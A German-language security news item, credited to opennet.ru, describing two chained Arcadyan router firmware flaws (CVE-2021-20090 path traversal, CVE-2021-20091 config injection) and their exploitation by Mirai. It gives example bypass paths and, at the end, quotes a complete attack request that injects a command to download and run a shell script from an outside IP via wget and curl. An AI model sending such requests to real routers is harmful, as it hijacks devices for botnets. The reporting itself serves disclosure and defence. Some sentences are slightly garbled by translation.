In Netzwerken wurde ein massiver Angriff auf Heimrouter festgestellt, die eine HTTP-Server-Implementierung des Unternehmens Arcadyan verwenden. Zur Erlangung der Kontrolle über diese Geräte wird eine Kombination aus zwei Schwachstellen genutzt, die es ermöglichen, beliebigen Code mit Root-Rechten aus der Ferne auszuführen. Das Problem betrifft eine erhebliche Anzahl von ADSL-Routern von Unternehmen wie Arcadyan, ASUS und Buffalo sowie Geräten, die unter den Marken Beeline (Problem in Smart Box Flash bestätigt), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone und anderen Telekommunikationsanbietern geliefert werden. Berichten zufolge besteht das Problem seit über 10 Jahren in den Firmware-Versionen von Arcadyan und hat in dieser Zeit mindestens 20 Modelle von 17 verschiedenen Herstellern erreicht.
Die erste Schwachstelle CVE-2021-20090 ermöglicht den Zugriff auf jedes Skript der Weboberfläche ohne Authentifizierung. Das Problem besteht darin, dass bestimmte Verzeichnisse in der Weboberfläche, über die Bilder, CSS-Dateien und JavaScript-Skripte bereitgestellt werden, ohne Authentifizierung zugänglich sind. Dabei erfolgt die Überprüfung der Verzeichnisse, für die der Zugriff ohne Authentifizierung erlaubt ist, anhand einer anfänglichen Maske. Die Angabe der Symbole „../“ in den Pfaden zum Wechseln in das übergeordnete Verzeichnis wird durch die Firmware blockiert, jedoch wird die Kombination „..“ nicht blockiert. Auf diese Weise ist es möglich, geschützte Seiten zu öffnen, indem Anfragen wie „http://192.168.1.1/images/..index.htm“ gesendet werden.
Die zweite Schwachstelle CVE-2021-20091 ermöglicht es einem authentifizierten Benutzer, Änderungen an den Geräteeinstellungen vorzunehmen, indem er speziell formatierte Parameter an das Skript apply_abstract.cgi sendet, das nicht überprüft, ob das Zeilenumbruchzeichen in den Parametern vorhanden ist. Zum Beispiel kann ein Angreifer beim Ausführen eines Ping-Befehls im Feld für die überprüfte IP-Adresse den Wert „192.168.1.2ARC_SYS_TelnetdEnable=1“ angeben, und das Skript wird beim Erstellen der Datei mit den Einstellungen /tmp/etc/config/.glbcfg die Zeile „AARC_SYS_TelnetdEnable=1“ darin speichern, die aktiviert. der Server telnetd, der unbeschränkten Zugriff auf die Eingabeaufforderung mit Root-Rechten gewährt. Ebenso kann durch Setzen des Parameters AARC_SYS beliebiger Code im System ausgeführt werden. Die erste Schwachstelle ermöglicht es, das problematische Skript ohne Authentifizierung aufzurufen, indem man darauf zugreift als „/images/..apply_abstract.cgi“.
Um Schwachstellen auszunutzen, muss der Angreifer die Möglichkeit haben, eine Anfrage an den Netzwerkport zu senden, auf dem das Web-Interface läuft. Anhand der Dynamik der Angriffsausbreitung lassen viele Betreiber den Zugang aus dem externen Netzwerk auf ihren Geräten offen, um die Problemdiagnose durch den Support zu erleichtern. Bei einer Einschränkung des Zugangs zum Interface nur für das interne Netzwerk kann ein Angriff von einem externen Netzwerk unter Verwendung der Technik "DNS-Rebinding" durchgeführt werden. Die Schwachstellen werden bereits aktiv genutzt, um Router mit dem Mirai-Botnet zu verbinden: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+\/tmp; wget+http:\/\/212.192.241.72\/lolol.sh; curl+-O+http:\/\/212.192.241.72\/lolol.sh; chmod+777+lolol.sh; sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Quelle: opennet.ru
